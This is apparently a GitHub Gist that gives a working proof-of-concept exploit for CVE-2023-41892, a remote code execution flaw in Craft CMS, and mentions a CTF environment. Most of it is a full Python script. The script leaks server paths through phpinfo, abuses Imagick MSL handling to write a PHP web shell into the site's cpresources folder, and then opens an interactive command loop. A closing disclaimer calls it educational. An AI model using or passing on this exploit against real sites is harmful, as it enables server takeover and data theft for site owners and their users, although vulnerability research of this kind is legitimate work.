CVE-2023-41892 (Craft CMS Remote Code Execution) - POC

CVE-2023-41892-POC.md

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data)    

def shell(cmd):
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Environment's from ACTF 2023

Result

Additional Resources

For more information and insights into this CVE, I would like to extend my thanks to Calif, who provided a reference to their blog post covering this topic:

• Calif's Blog Post - Craft CMS Remote Code Execution

Disclaimer

This Gist is intended for educational purposes only and should not be used for any malicious activities. Always ensure you have the necessary permissions and follow ethical guidelines when testing or researching security vulnerabilities.

For any questions or clarifications, please feel free to reach out. Stay safe and secure!